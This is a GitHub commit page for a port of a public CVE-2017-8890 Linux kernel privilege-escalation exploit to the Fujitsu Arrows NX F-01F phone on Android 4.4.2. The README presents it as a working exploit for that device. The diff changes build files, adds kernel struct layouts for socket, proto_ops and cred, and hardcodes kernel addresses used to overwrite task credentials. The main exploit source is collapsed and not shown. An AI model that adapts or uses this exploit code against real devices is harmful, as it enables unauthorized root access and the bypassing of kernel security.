Skip to content

Commit

Permalink
Initial release for F-01F KK
Browse files Browse the repository at this point in the history
  • Loading branch information
dadreamer committed Feb 15, 2020
1 parent ec16acd commit 67f5eb3
Show file tree
Hide file tree
Showing 8 changed files with 211 additions and 102 deletions.
12 changes: 10 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,15 @@
# CVE-2017-8890
相关文档:

This CVE is adapted for Fujitsu Arrows NX F-01F with KitKat firmware (Android 4.4.2, build # V10R22A, kernel version 3.4.0). The original code is written by [thinkycx](https://github.com/thinkycx).

The exp works on foresaid device only! It definitely **won't work** on any other smartphone without altering the memory addresses, structs etc. in the code. The same applies to earlier builds of F-01F, i.e. JellyBean ones. They could be easier to adapt though.

**N.B.**: Current release doesn't patch fjsec LSM, it's still work in progress.

------------
Related documents (as per by the author):
- [ubuntu 内核双机调试方法](https://thinkycx.me/posts/2018-08-08-how-to-debug-ubuntu-kernel-with-2-VM.html)
- [CVE-2017-8890漏洞分析和利用-概览篇](https://thinkycx.me/posts/2018-10-30-a-glance-at-CVE-2017-8890.html)
- [CVE-2017-8890 漏洞分析 原理篇](https://thinkycx.me/posts/2018-08-08-CVE-2017-8890-analysis.html)
- [CVE-2017-8890 漏洞利用(root ubuntu 16.04@kernel 4.10)](https://thinkycx.me/posts/2018-08-09-CVE-2017-8890-root-ubuntu-16.04-kernel-4.10.html)
- [CVE-2017-8890 漏洞利用 (root nexus6p@kernel 3.10)](https://thinkycx.me/posts/2018-08-09-CVE-2017-8890-root-nexus6p-kernel-3.10.html)
- [CVE-2017-8890 漏洞利用 (root nexus6p@kernel 3.10)](https://thinkycx.me/posts/2018-08-09-CVE-2017-8890-root-nexus6p-kernel-3.10.html)
3 changes: 1 addition & 2 deletions [email protected]/jni/Application.mk
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
PIE=false
APP_ABI=arm64-v8a # all#armeabi-v7a
APP_ABI=armeabi #arm64-v8a # all#armeabi-v7a
APP_STL := gnustl_static

2 changes: 1 addition & 1 deletion [email protected]/jni/Makefile
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
ARCH := arm64-v8a
ARCH := armeabi-v7a
SDK_VERSION := $(shell adb shell getprop ro.build.version.sdk)

all: build
Expand Down
6 changes: 6 additions & 0 deletions [email protected]/jni/build.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
@echo off
REM if exist "%~dp0\exp" del "%~dp0\exp"
CALL ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=Android.mk APP_ABI=armeabi APP_PLATFORM=android-21 NDK_APPLICATION_MK=Application.mk
echo F | xcopy /y "%~dp0\libs\armeabi\exp" "%~dp0\exp"
echo F | xcopy /y "%~dp0\libs\armeabi\exp" "C:\adb"
pause
163 changes: 89 additions & 74 deletions [email protected]/jni/exp.c

Large diffs are not rendered by default.

87 changes: 80 additions & 7 deletions [email protected]/jni/one_igmp.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,24 +3,97 @@

#define __rcu

struct callback_head {
typedef struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
};
} callback_head;
#define rcu_head callback_head

struct ip_sf_socklist {
typedef struct ip_sf_socklist {
unsigned int sl_max;
unsigned int sl_count;
struct rcu_head rcu;
__be32 sl_addr[0];
};
} ip_sf_socklist;

struct ip_mc_socklist {
typedef struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
#endif // ONE_IGMP_H
} ip_mc_socklist;

typedef enum socket_state
{
SS_FREE = 0, /* not allocated */
SS_UNCONNECTED, /* unconnected to any socket */
SS_CONNECTING, /* in process of connecting */
SS_CONNECTED, /* connected to socket */
SS_DISCONNECTING /* in process of disconnecting */
} socket_state;

typedef struct sokket {
socket_state state; //+0 for 32-bit //+0 for 64-bit
//kmemcheck_bitfield_begin(type); //+4 -- kmemcheck may be disabled; its size =0
short type; //+4
//kmemcheck_bitfield_end(type); //+8 (+2b of padding)
unsigned long flags; //+8
struct socket_wq __rcu *wq; //+12
struct file *file; //+16 //+24 (+4b of padding)
struct sock *sk; //+20 //+32
/*const*/ struct proto_ops *ops; //+24 //+40
} sokket; //=28bytes //=48bytes

typedef struct proto_ops {
int family; //+0 for 32-bit //+0 for 64-bit
struct module *owner; //+4 //+8 (+4b of padding)
int (*release) (struct socket *sock); //+8 //+16
int (*bind) (struct socket *sock, //+12 //+24
struct sockaddr *myaddr,
int sockaddr_len);
int (*connect) (struct socket *sock, //+16 //+32
struct sockaddr *vaddr,
int sockaddr_len, int flags);
int (*socketpair)(struct socket *sock1, //+20 //+40
struct socket *sock2);
int (*accept) (struct socket *sock, //+24 //+48
struct socket *newsock, int flags);
int (*getname) (struct socket *sock, //+28 //+56
struct sockaddr *addr,
int *sockaddr_len, int peer);
unsigned int (*poll) (struct file *file, struct socket *sock, //+32 //+64
struct poll_table_struct *wait);
int (*ioctl) (struct socket *sock, unsigned int cmd, //+36 //+72
unsigned long arg);
#ifdef CONFIG_COMPAT //<-- NOT SET FOR F-01F
int (*compat_ioctl) (struct socket *sock, unsigned int cmd, //+40 //+80
unsigned long arg);
#endif
int (*listen) (struct socket *sock, int len); //+44 //+88
int (*shutdown) (struct socket *sock, int flags); //+48 //+96
int (*setsockopt)(struct socket *sock, int level, //+52 //+104
int optname, char __user *optval, unsigned int optlen);
int (*getsockopt)(struct socket *sock, int level, //+56 //+112
int optname, char __user *optval, int __user *optlen);
#ifdef CONFIG_COMPAT //<-- NOT SET FOR F-01F
int (*compat_setsockopt)(struct socket *sock, int level, //+60 //+120
int optname, char __user *optval, unsigned int optlen);
int (*compat_getsockopt)(struct socket *sock, int level, //+64 //+128
int optname, char __user *optval, int __user *optlen);
#endif
int (*sendmsg) (struct kiocb *iocb, struct socket *sock, //+68 //+136
struct msghdr *m, size_t total_len);
int (*recvmsg) (struct kiocb *iocb, struct socket *sock, //+72 //+144
struct msghdr *m, size_t total_len,
int flags);
int (*mmap) (struct file *file, struct socket *sock, //+76 //+152
struct vm_area_struct * vma);
ssize_t (*sendpage) (struct socket *sock, struct page *page, //+80 //+160
int offset, size_t size, int flags);
ssize_t (*splice_read)(struct socket *sock, loff_t *ppos, //+84 //+168
struct pipe_inode_info *pipe, size_t len, unsigned int flags);
void (*set_peek_off)(struct sock *sk, int val); //+88 //+176
} proto_ops; //=92bytes //=184bytes

#endif // ONE_IGMP_H
2 changes: 1 addition & 1 deletion [email protected]/jni/utils.c
Original file line number Diff line number Diff line change
Expand Up @@ -155,7 +155,7 @@ inline int writel_at_address_pipe(void* address, size_t val)
}


#define KERNEL_START 0xffffffc000000000
#define KERNEL_START 0xC0008000 //0xffffffc000000000
inline int is_cpu_timer_valid(struct list_head *cpu_timer)
{
if (cpu_timer->next != cpu_timer->prev) {
Expand Down
38 changes: 23 additions & 15 deletions [email protected]/jni/utils.h
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ unsigned long orderly_poweroff;
// for call_usermodelhelp() end
size_t k_security_ops;
size_t init_task;
#define KERNEL_START 0xffffffc000000000
#define KERNEL_START 0xC0008000 //0xffffffc000000000

struct list_head {
struct list_head *next, *prev;
Expand All @@ -64,16 +64,11 @@ struct plist_node {
struct list_head node_list;
};





#define _KERNEL_CAPABILITY_U32S 2
typedef struct kernel_cap_struct {
unsigned int cap[_KERNEL_CAPABILITY_U32S];
} kernel_cap_t;


#define u32 unsigned int
struct task_security_struct {
u32 osid; /* SID prior to last execve */
Expand All @@ -84,13 +79,18 @@ struct task_security_struct {
u32 sockcreate_sid; /* fscreate SID */
};


#define CONFIG_KEYS 1
#define CONFIG_SECURITY 1

struct cb_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
};
#define rcu_head cb_head

struct cred {
unsigned int usage;
unsigned int uid; /* real UID of the task */
unsigned int uid; /* real UID of the task */
unsigned int gid; /* real GID of the task */
unsigned int suid; /* saved UID of the task */
unsigned int sgid; /* saved GID of the task */
Expand All @@ -99,26 +99,33 @@ struct cred {
unsigned int fsuid; /* UID for VFS ops */
unsigned int fsgid; /* GID for VFS ops */

unsigned int securebits; /* SUID-less security management */
unsigned int securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
// kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
void *session_keyring; /* keyring inherited over fork */
void *process_keyring; /* keyring private to this process */
void *thread_keyring; /* keyring private to this thread */
void *request_key_auth; /* assumed request_key authority */
// void *session_keyring; /* keyring inherited over fork */
// void *process_keyring; /* keyring private to this process */
// void *thread_keyring; /* keyring private to this thread */
// void *request_key_auth; /* assumed request_key authority */

struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* cached user->user_ns */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};


#define TASK_COMM_LEN 16
struct task_list_for_comm{

Expand All @@ -129,6 +136,7 @@ struct task_list_for_comm{
* credentials (COW) */
const struct cred *cred; /* effective (overridable) subjective task
* credentials (COW) */
struct cred *replacement_session_keyring; /* for KEYCTL_SESSION_TO_PARENT */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
Expand Down

0 comments on commit 67f5eb3

Please sign in to comment.